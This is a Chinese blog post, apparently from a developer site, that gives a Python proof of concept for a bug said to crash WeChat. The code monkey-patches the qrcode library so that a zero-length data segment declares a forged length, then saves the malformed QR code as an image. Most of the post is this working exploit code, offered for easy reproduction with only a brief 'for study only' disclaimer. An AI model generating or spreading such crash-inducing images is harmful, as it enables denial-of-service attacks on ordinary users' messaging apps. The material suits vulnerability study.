微信崩溃生成自己的二维码

该代码演示了一个可能导致微信崩溃的二维码Bug。通过修改qrcode库中的BitBuffer.put方法,创建包含特定数据模式和长度的QR码,可以复现此问题。代码首先创建不同类型的QR数据,然后添加到QR码中,最后保存为图片。此行为可能触发微信对二维码解析的异常,从而导致应用崩溃。

注:代码可能带有破坏性,仅用于学习,分析用途。

微信崩溃了?微信最新版二维码Bug,不知道问题在哪里。使用下面代码,轻松帮你复现。

安装qrcode

pip isntall qrcode
import qrcode
from qrcode.util import QRData, MODE_NUMBER, MODE_8BIT_BYTE

def nvwu_put(self, num, length):
    if num == 0:
        num = 233  # 制造一个伪造的长度
    for i in range(length):
        self.put_bit(((num >> (length - i - 1)) & 1) == 1)

qrcode.util.BitBuffer.put = nvwu_put

def anquannvwu():
    qr = qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_M, mask_pattern=0)

    num_data = QRData('1145141', MODE_NUMBER)
    data = QRData(b'.', MODE_8BIT_BYTE)
    hack_data = QRData(b'', MODE_8BIT_BYTE)

    # 确保所有数据都适应这个版本的最大内容长度
    qr.add_data(num_data)
    qr.add_data(data)
    qr.add_data(num_data)
    qr.add_data(data)
    qr.add_data(num_data)
    qr.add_data(data)
    qr.add_data(num_data)

    # 添加一个零长度的数据,使得数据的长度为233
    qr.add_data(hack_data)

    img = qr.make_image()
    img.save("./poc1.png")

if __name__ == "__main__":
    anquannvwu()

上面的代码做了以下工作:

  1. 创建一个新的QR码,纠错等级为M,掩码模式为0。

  2. 创建一个新的QR数据,字符串为’1145141’,模式为MODE_NUMBER。

  3. 创建一个新的QR数据,字符串为’.',模式为MODE_8BIT_BYTE。

  4. 创建一个新的QR数据,字符串为空,模式为MODE_8BIT_BYTE。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

DevonL77

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值